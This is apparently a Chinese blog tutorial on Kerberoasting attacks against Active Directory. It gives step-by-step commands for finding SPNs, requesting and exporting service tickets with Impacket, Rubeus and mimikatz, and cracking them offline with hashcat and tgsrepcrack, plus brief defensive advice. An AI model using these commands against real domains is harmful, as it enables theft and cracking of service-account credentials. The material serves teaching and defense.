当前位置: 首页 > news >正文

渗透测试 之 AD域渗透 【Kerberoasting】 攻击技术讲解 对应得工具详细介绍哟~ 以及相关示例 按照步骤做你也会哟

说明

  • Kerberoasting 攻击发生在Kerberos协议的TGS_REP阶段,KDC的TGS服务返回一个由服务Hash加密的ST给客户端。
  • 由于该ST是用服务Hash进行加密的,因此客户端在拿到该ST后可以用于本地离线爆破

攻击的过程

  • 攻击者提供一个正常的域用户密码对域进行身份认证,KDC在验证账户和密码的有效性后,会返回一个TGT。该TGT用于以后的ST请求
  • 攻击者使用获得的TGT请求针对指定SPN的ST。在请求服务票据的TGS-REQ进程中,攻击者可以指定其支持的Kerberos 加密类型为RC4_HMAC_MD5(ARCFOUR-HMAC MD5),因为RC4_HMAC_MD5加密算法相比于其他加密算法更容易被破解。

Kerberoasting攻击在实战中主要分为如下4步

  • 查询域内注册于域用户下的SPN;
  • 请求指定SPN的ST;
  • 导出请求的ST;
  • 对该导出的ST进行离线爆破。

选择攻击主机

  • 攻击主机必须是域控主机内的user,而不是当前主机下的用户,如果是当前主机下的用户,那么当前主机只是加入了域,而并非和域控相关联。 
  • xie\hack
    • 321@qq.com

SPN的发现

  1. 这是Kerberoasting攻击的第一步。首先,发现域内所有注册于域用户下的SPN认情况下。
    1. 域内会有一个注册在用户krbtgt下的SPN kadmin/changepw。但该SPN对于Kerberoasting 攻击是没有意义的,因为用户krbtgt的密码是随机生成的,几乎不可能爆破出来。
  • RiskySPN

    • RiskySPN 是一个PowerShell 脚本的集合,专注于检测与SPN相关的账户是否滥用。
    • 该脚本可以帮助我们自动识别弱密码服务票据,根据用户账户和密码过期时间来查找最容易包含弱密码的票据。
    • 执行如下命令,该脚本会自动查找并过滤出(自动去除注册于krbtgt下的kadmin/changepw)当前域内注册于域用户下的可能包含弱密码的SPN的详细信息。
      • Import-Module .\Find-PotentiallyCrackableAccounts.ps1;
      • Find-PotentiallyCrackableAccounts -FullData
    • #PowerShell脚本用法
      • Import-Module .\GetUserSPNs.ps1
  • PowerView.ps1

  • PowerView.ps1是 PowerSnolit 中Recon 目录下的一个PowerShell脚本,该脚本可用于查询过滤出域用户下注册了SPN的用户,包括krbtgt用户,并返回用户的详细信息。
    • 执行命令如下:
      • Import-Module .\PowerView.ps1
      • Get-NetUser -SPN

请求服务票据

  • 当过滤出注册于用户下的SPN之后,我们就需要请求这些SPN的服务票据了。
  • Impacket 请求

    • Impacket中的GetUserSPNs.py脚本可以请求注册于用户下的所有SPN的服务票据,也可以请求注册于指定用户下的SPN的服务票据。该脚本使用命令如下:
    • 请求注册于用户下的所有SPN的服务票据,并以hashcat能破解的格式保存为hash.txt文件
      • python .\GetUserSPNs.py -request -dc-ip 192.168.1.88 xie.com/administrator:321@qq.com -outputfile a.txt
  • Rubeus 请求

    • Rubeus 中的Kerberoast 支持对所有用户或特定用户执行Kerberoasting 操作,它的原理在于先用LDAP查询域内所有注册在域用户下的SPN(除了kadmin/changepw)
    • 再通过发送TGS包,直接输出能使用John或 hashcat爆破的Hash。该工具使用命令如下:
      • #请求注册于用户下的所有SPN的服务票据,并以hashcat能破解的格式保存为hash.txt文件
        • Rubeus.exe kerberoast /format:john /outfile:hash.txt
  • mimikatz 请求

    • 使用mimikatz请求指定SPN的服务票据的命令如下,请求的服务票据将保存在内存
      中。
    • #请求指定SPN的服务票据
      • kerberos::ask/target:MSSQLSvc/WIN-08U6QBF1C4U.xie.com:1433

导出服务票据

  • 在请求服务票据的过程中,有的工具可以直接将票据打印出来保存为文件。
  • 有的工具会将票据保存在内存中,对于保存在内存中的票据我们可以使用工具将其从内存中导出来。


查看内存中的票据

  • 首先,我们需要查看内存中保存的票据。可以使用以下命令进行查看:
  • #直接在cmd窗口执行
    • klist
    • 查看了内存中的票据后,我们就需要将其导出为文件了。

使用mimikatz导出票据

  • 使用mimikatz将内存中的票据导出来的命令如下,执行完成后,会在mimikatz同目录下导出 .kirbi格式的票据文件。

    • mimikatz.exe "kerberos::list /export" "exit"

离线破解服务票据

  • 通过前面几步取得了.kirbi票据文件或 hashcat、John能直接破解的文件,接下来就需要本地离线破解服务票据了。

kerberoast

  • kerberoast 是用于攻击Kerberos实现的一些工具的集合。该工具中的 tgsrepcrack.py脚本可以对mimikatz导出的.kirbi格式的票据进行爆破。
  • 使用 tgsrepcrack.py脚本离线破解.kirbi文件的命令如下
    • python2 tgsrepcrack.py pass.txt 3-40a40000-hack@LDAP\~WIN-08U6QBF1C4U.xie.com\~xie.com-XIE.COM.kirbi
      • 这里我报错了 自己去安装对应得库 去试试

hashcat

  • 针对Impacket和Rebeus 请求的票据格式,可以使用hashcat执行如下命令来进行爆
    • hashcat -m 13100 hash.txt pass.txt --force

Kerberoasting 攻击防御

  • 对防守方或蓝队来说,针对检测和防御来说
    • 确保服务账户和密码为强密码,具有随机性并定期修改。
    • Kerberoasting 能成功的最大因素就是KDC返回的ST是用RC4_HMAC_MD5加密算法加密的,攻击者可以比较简单地进行爆破
      • 如果配置强制使用AES256_HMAC方式对Kerberos 票据进行加密,那么即使攻击者获取了ST,也无法将其破解。但这种加密方式存兼容性问题
  • 可以定期使用zBang工具检测当前域内危险的SPN。首先运行zBang,在弹出的界面中选择 Risky SPNs,再单击Launch按钮。
  • 过一会儿就可以看到zBang运行成功,然后我们通过RiskySPN Results页面就可以看到结果,得到2个危险得spn

相关文章:

渗透测试 之 AD域渗透 【Kerberoasting】 攻击技术讲解 对应得工具详细介绍哟~ 以及相关示例 按照步骤做你也会哟

说明 Kerberoasting 攻击发生在Kerberos协议的TGS_REP阶段,KDC的TGS服务返回一个由服务Hash加密的ST给客户端。由于该ST是用服务Hash进行加密的,因此客户端在拿到该ST后可以用于本地离线爆破。 攻击的过程 攻击者提供一个正常的域用户密码对域进行身份…...

如何在Ubuntu上更改MySQL数据存储路径

文章目录 0 背景1 备份现有数据库数据2 停止 MySQL 服务3 复制现有的 MySQL 数据到新目录4 修改 MySQL 配置文件5 更新 AppArmor 或 SELinux 配置(如有启用)6. 修改 MySQL 系统文件中的 datadir7. 启动 MySQL 服务8. 验证更改参考资料 0 背景 在原先划分…...

Cortex-M 内核的 OS 特性

目录 一、通用堆栈知识二、双堆栈用法三、PendSV 中断介绍和用法四、SVC 软中断介绍和用法五、特权级和非特权级使用方法 一、通用堆栈知识 在前面讲解 STM32 启动文件的时候就已经提到过,有关堆栈大小的设置是在启动文件中设置的: Heap 主要用于 Mal…...

第十六章 RabbitMQ延迟消息之延迟插件优化

目录 一、引言 二、优化方案 三、核心代码实现 3.1. 生产者代码 3.2. 消息处理器 3.3. 自定义多延迟消息封装类 3.4. 订单实体类 3.5. 消费者代码 四、运行效果 一、引言 上一章节我们提到,直接使用延迟插件,创建一个延迟指定时间的消息&…...

[单master节点k8s部署]32.ceph分布式存储(三)

基于ceph rbd生成pv 在集群中认证ceph 用下面代码生成ceph的secret .创建 ceph 的 secret,在 k8s 的控制节点操作: 回到 ceph 管理节点创建 pool 池: [rootmaster1-admin ~]# ceph osd pool create k8stest 56 pool k8stest created [rootm…...

git 相关问题解决一一记录

文章目录 gitssh.github.com: Permission denied (publickey)1. 检查 SSH 密钥生成新的 SSH 密钥添加 SSH 密钥到 GitHub 2. 配置 SSH 代理启动 SSH 代理添加私钥到 SSH 代理 3. 检查 SSH 配置文件4. 测试 SSH 连接5. 检查防火墙和网络设置6. 检查 GitHub 账户设置详细步骤 更新…...

UE4 材质学习笔记04(着色器性能优化)

一.着色器性能优化 1.衡量着色器的性能 衡量着色器性能的主要方法有三个 第一个:可以使用场景的视图模式的优化视图模式的着色器复杂度 下面的滑条代表了着色器指令的复杂度 如果场景大部分是绿色的,说明着色器耗能低,反之白色则是很糟糕…...

3、Redis Stack扩展功能

文章目录 一、了解Redis产品二、申请RedisCloud实例三、Redis Stack体验1、RedisStack有哪些扩展?2、Redis JSON1、Redis JSON是什么2、Redis JSON有什么用3、Redis JSON的优势 3、Search And Query1、传统Scan搜索2、Search And Query搜索 4、Bloom Filter1、布隆过…...

Flythings学习(二)控件相关

文章目录 1 前言2 通用属性2.1 控件ID值2.2 控件位置2.3 背景色2.4 背景图2.5 显示与隐藏2.6 控件状态2.7 蜂鸣器控制 3 文本类TextView4 按键类 Button4.1 系统按键4.2 处理按钮长按事件4.3 处理按键触摸事件 5 复选框CheckBox6 单选组 RadioGroup7 进度条,滑块7.1…...

关于multiprocessing使用freeze_support()方法

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、freeze_support()?二、使用方法总结 **注意下面** 如果有车载讨论需要的小伙伴,可以私信加我微信,拉你进群,…...

基于rk356x u-boot版本功能分析及编译相关(一)

🎏技术驱动源于热爱,祝各位学有所成。 文章目录 uboot的分支是next-dev历史版本v2017-09uboot支持DM框架uboot前级pre-loader支持及引导下级uboot分区支持uboot支持固件格式secure bootuboot编译脚本位置build.shuboot/make.shrkbin仓库uboot的分支是next-dev历史版本v2017-…...

Jenkins---01

什么是敏捷开发 敏捷开发以用户的需求进化为核心,采用迭代、循序渐进的方法进行软件开发。在敏捷开 发中,软件项目在构建初期被切分成多个子项目,各个子项目的成果都经过测试,具备可视、 可集成和可运行使用的特征。换言之&…...

第十五届蓝桥杯C++B组省赛

文章目录 1.握手问题解题思路1(组合数学)解题思路2(暴力枚举) 2.小球反弹做题思路 3.好数算法思路(暴力解法)---不会超时 4.R格式算法思路 5.宝石组合算法思路---唯一分解定理 6.数字接龙算法思路----DFS 7…...

线程 vs 虚拟线程:深入理解及区别

Java 提供了两种线程机制:普通线程(平台线程)和 虚拟线程。普通线程是 Java 中经典的并发处理方式,而虚拟线程是随着 Java 21 引入的新特性,旨在提升并发性能和开发体验。本文将详细探讨它们的区别,并帮助你…...

【WEB应用安全测试指南–蓝队安全测试2】--超详细-可直接进行实战!!!亲测-可进行安全及渗透测试

安全基础理论入门知识参考上一篇《WEB应用安全测试指南蓝队安全测试1》 WEB应用安全测试指南2 一、文件 I/O 类1.1、任意文件上传1.2、任意文件下载1.3、文件包含 二、接口安全类2.1、短信炸弹2.2、邮件炸弹2.3、短信内容可控2.4、邮件内容可控 三、逻辑流程类3.1、越权3.2、未…...

使用HTML、CSS和JavaScript创建滚动弹幕效果

使用HTML、CSS和JavaScript创建滚动弹幕效果 在现代网页设计中,滚动文本是一种常见的动态效果,可以吸引用户的注意力并增强交互体验。在这篇博客文章中,我们将详细介绍如何使用HTML、CSS和JavaScript实现滚动文本效果。 效果 步骤1&#xf…...

【C语言】--数组

😊个人主页: 起名字真南 😋个人专栏:【数据结构初阶】 【C语言】 【C】 目录 1 数组的概念2 一维数组的创建和初始化2.2 数组的初始化2.3 数组类型 3 一维数组的使用3.1 数组下标3.2 数组的输入 4 一维数组在内存中的存储5 sizeof计算数组中的元素6 二维…...

面向B2B市场的Spring Boot医疗病历系统开发

第1章绪论 计算机已经从科研院所,大中型企业,走进了平常百姓家,Internet遍及世界各地,在网上能够用计算机进行文字草拟、修改、打印清样、文件登陆、检索、综合统计、分类、数据库管理等,用科学的方法将无序的信息进行…...

闭着眼学机器学习——支持向量机分类

引言: 在正文开始之前,首先给大家介绍一个不错的人工智能学习教程:https://www.captainbed.cn/bbs。其中包含了机器学习、深度学习、强化学习等系列教程,感兴趣的读者可以自行查阅。 1. 算法介绍 支持向量机(Support Vector Mach…...

今日指数项目day8实战权限管理器(上)

3.权限管理器 3.1 权限列表展示功能 1)原型效果 2)接口说明 功能描述: 查询所有权限集合 服务路径: /api/permissions 服务方法:Get 请求参数:无响应数据格式: {"code": 1,"data":…...

Arm Neoverse CMN-700架构与寄存器配置详解

1. Arm Neoverse CMN-700架构概览在现代多核处理器设计中,如何高效实现缓存一致性一直是核心挑战。Arm Neoverse CMN-700(Coherent Mesh Network)作为第二代一致性网格网络IP,采用分布式架构解决了从16核到256核规模的数据一致性问…...

视觉显著目标的自适应分割与动态网格生成算法研究

ArticleObjectiveMethodComments视觉显著目标的自适应分割背景是基于视觉注意模型和最大熵分割算法,针对复杂背景下的显著目标分割问题。目的是提出一种自适应显著目标分割方法,以便快速准确地从场景图像中检测出显著目标。试验用的方法是通过颜色、强度…...

5个实用技巧:在Windows电脑上畅享酷安社区的最佳体验

5个实用技巧:在Windows电脑上畅享酷安社区的最佳体验 【免费下载链接】Coolapk-UWP 一个基于 UWP 平台的第三方酷安客户端 项目地址: https://gitcode.com/gh_mirrors/co/Coolapk-UWP 还在用手机小屏幕刷酷安吗?Coolapk UWP桌面版为你带来了全新的…...

2025-2026年国内PCB厂家:五大产品专业评测 解决散热不均致焊点脱落痛点

摘要 当企业将PCB选型从通用需求转向高精尖领域适配,决策者面临如何在技术复杂度与成本可控间取得平衡的现实挑战:是追求极致性能,还是优先保障供应链稳定?根据Prismark Partners发布的2024年全球PCB产业报告,全球PCB…...

基于LanceDB的AI记忆管理系统:从向量存储到智能记忆引擎

1. 项目概述:一个面向AI记忆管理的向量数据库解决方案最近在折腾AI应用,特别是那些需要长期记忆和上下文关联的智能体(Agent)时,我发现一个核心痛点:如何高效、低成本地存储和检索海量的对话历史、知识片段…...

彻底解决GeoServer跨域:手把手教你配置web.xml与添加Jetty依赖包

彻底解决GeoServer跨域问题:原理剖析与实战配置指南 当你在OpenLayers或Cesium中调用GeoServer的WMS/WFS服务时,是否遇到过令人头疼的跨域错误?这个问题看似简单,却隐藏着Web安全策略与地理信息服务集成的深层逻辑。本文将带你从H…...

从开发板到自研板:RK3568设备树移植与定制编译实战

1. RK3568设备树移植入门指南 第一次接触RK3568设备树移植的工程师,往往会被dts文件中密密麻麻的节点和属性搞得晕头转向。我刚开始做这块的时候,光是看那7000多行的代码就头疼。但其实只要掌握几个关键点,移植工作就会变得清晰很多。 设备树…...

django-stubs模型类型检查实战:告别运行时错误的终极指南

django-stubs模型类型检查实战:告别运行时错误的终极指南 【免费下载链接】django-stubs PEP-484 stubs for Django 项目地址: https://gitcode.com/gh_mirrors/dj/django-stubs 在Django开发中,模型定义是核心环节,但传统开发模式下&…...

openpilot自动驾驶系统终极指南:从入门到实战的完整教程

openpilot自动驾驶系统终极指南:从入门到实战的完整教程 【免费下载链接】openpilot openpilot is an operating system for robotics. Currently, it upgrades the driver assistance system on 300 supported cars. 项目地址: https://gitcode.com/GitHub_Trend…...

保姆级教程:在Spring Boot项目里正确配置Hutool和BouncyCastle搞定SM4国密加密

Spring Boot项目集成SM4国密加密全流程实战指南 在金融、政务等对数据安全要求严格的领域,国密算法正逐步取代国际通用加密标准成为首选方案。作为国内广泛使用的SM4分组密码算法,其128位分组长度和128/192/256位密钥长度设计,在保证安全性的…...